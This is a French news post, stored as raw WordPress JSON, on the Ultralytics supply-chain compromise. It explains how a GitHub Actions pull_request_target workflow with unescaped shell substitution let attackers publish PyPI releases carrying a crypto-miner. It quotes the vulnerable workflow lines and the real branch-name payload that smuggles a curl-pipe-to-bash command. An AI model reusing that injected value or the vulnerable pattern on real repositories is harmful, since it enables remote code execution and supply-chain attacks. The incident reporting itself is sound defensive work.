{"id":120890,"date":"2024-12-07T15:46:00","date_gmt":"2024-12-07T13:46:01","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics"},"modified":"2024-12-07T15:46:00","modified_gmt":"2024-12-07T13:46:01","slug":"oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","status":"publish","type":"post","link":"https:\/\/prohoster.info\/fr\/blog\/news\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","title":{"rendered":"Une erreur dans le gestionnaire GitHub Actions a conduit \u00e0 la publication de versions malveillantes d'Ultralytics","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Des attaquants ont pu ex\u00e9cuter du code avec les privil\u00e8ges du gestionnaire GitHub Actions dans le d\u00e9p\u00f4t de la biblioth\u00e8que Python Ultralytics, utilis\u00e9e pour des t\u00e2ches de vision par ordinateur, telles que la d\u00e9tection d'objets sur des images et le segment des images. Apr\u00e8s avoir acc\u00e9d\u00e9 au d\u00e9p\u00f4t, les attaquants ont publi\u00e9 plusieurs nouvelles versions d'Ultralytics dans le r\u00e9pertoire PyPI, comprenant des modifications malveillantes pour le minage de cryptomonnaies. Au cours du dernier mois, la biblioth\u00e8que Ultralytics a \u00e9t\u00e9 t\u00e9l\u00e9charg\u00e9e plus de 6,4 millions de fois depuis le r\u00e9pertoire PyPI. <\/p>\n
Pour compromettre le r\u00e9f\u00e9rentiel, une vuln\u00e9rabilit\u00e9 dans le paquet ultralytics-actions a \u00e9t\u00e9 exploit\u00e9e, utilis\u00e9e pour d\u00e9clencher automatiquement des gestionnaires lors de certaines actions sur le r\u00e9f\u00e9rentiel sur GitHub, en utilisant le m\u00e9canisme GitHub Actions. Dans le projet ultralytics, le gestionnaire vuln\u00e9rable \u00e9tait li\u00e9 \u00e0 l'\u00e9v\u00e9nement pull_request_target et \u00e9tait appel\u00e9 lors de la r\u00e9ception de nouvelles demandes de tirage. En particulier, pour formater le code dans les demandes de tirage soumises, le gestionnaire format.yml \u00e9tait appel\u00e9 et le code sp\u00e9cifi\u00e9 dans la section \u00ab run \u00bb du fichier action.yml \u00e9tait ex\u00e9cut\u00e9, dans lequel se trouvaient des commandes shell avec des mod\u00e8les de substitution : git pull origin ${{ github.head_ref || github.ref }} git config \u2014global user.name \u00ab ${{ inputs.github_username }} \u00bb git config \u2014global user.email \u00ab ${{ inputs.github_email }} \u00bb <\/p>\n
Ainsi, les noms des branches Git mentionn\u00e9s dans la demande de tirage \u00e9taient ins\u00e9r\u00e9s dans les commandes shell sans \u00e9chappement appropri\u00e9. Il est \u00e0 noter qu'en ao\u00fbt, une vuln\u00e9rabilit\u00e9 similaire dans le paquet ultralytics-actions avait d\u00e9j\u00e0 \u00e9t\u00e9 corrig\u00e9e, li\u00e9e \u00e0 l'utilisation d'une valeur externe dans la fonction echo : echo \u00ab github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }} \u00bb <\/p>\n
Pour ex\u00e9cuter leur code dans le contexte du gestionnaire GitHub Actions, les attaquants ont envoy\u00e9 une pull request au d\u00e9p\u00f4t ultralytics, sp\u00e9cifiant comme nom de la branche : openimbot:$({curl,-sSfL,raw.githubusercontent.com\/ultralytics\/ultralytics\/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545\/file.sh}${IFS}|${IFS}bash) <\/p>\n
Ainsi, lors de la r\u00e9ception d'une demande de tirage, la cha\u00eene sp\u00e9cifi\u00e9e par les attaquants \u00ab $(…) \u00bb a \u00e9t\u00e9 ins\u00e9r\u00e9e dans le code, ce qui, lors de la prochaine ex\u00e9cution du gestionnaire, a conduit \u00e0 l'ex\u00e9cution du code \u00ab curl -sSfL raw.githubusercontent.com\/…\/file.sh | bash \u00bb.
<\/center> <\/p>\n
L'ex\u00e9cution de code dans le contexte de GitHub Actions peut \u00eatre utilis\u00e9e pour capturer le token d'acc\u00e8s au d\u00e9p\u00f4t et d'autres donn\u00e9es sensibles. Il n'est pas encore clair comment les attaquants ont r\u00e9ussi \u00e0 cr\u00e9er une version, ayant obtenu la possibilit\u00e9 d'ex\u00e9cuter leur code dans GitHub Actions. On suppose que cela a \u00e9t\u00e9 rendu possible gr\u00e2ce \u00e0 la modification du gestionnaire publish.yml (les attaquants ont supprim\u00e9 la v\u00e9rification du compte autoris\u00e9 \u00e0 publier des versions sur PyPI) et \u00e0 l'utilisation de la technique de polluage du cache de compilation de GitHub Actions pour injecter leurs donn\u00e9es dans la version. <\/p>\n
La premi\u00e8re version malveillante Ultralytics 8.3.41 a \u00e9t\u00e9 publi\u00e9e par des cybercriminels dans le r\u00e9pertoire PyPI le 4 d\u00e9cembre \u00e0 23h51 (MSK) et a \u00e9t\u00e9 supprim\u00e9e \u00e0 12h15 le lendemain. \u00c0 15h47, une autre version 8.3.42 a \u00e9t\u00e9 publi\u00e9e, qui a \u00e9t\u00e9 supprim\u00e9e \u00e0 16h47. Ainsi, les versions malveillantes ont \u00e9t\u00e9 disponibles au t\u00e9l\u00e9chargement pendant environ 13 heures (en moyenne, PyPI enregistre environ 250 000 t\u00e9l\u00e9chargements de la biblioth\u00e8que ultralytics par jour). Les versions 8.3.41 et 8.3.42 contenaient du code pour t\u00e9l\u00e9charger un composant externe de serveurs<\/a> XMRig pour le minage de cryptomonnaies. <\/p>\n
![\"Une](\"\/wp-content\/uploads\/2024\/12\/c734b63e67d629d8af635f4193bfb0d0.png\")
<\/center> <\/p>\n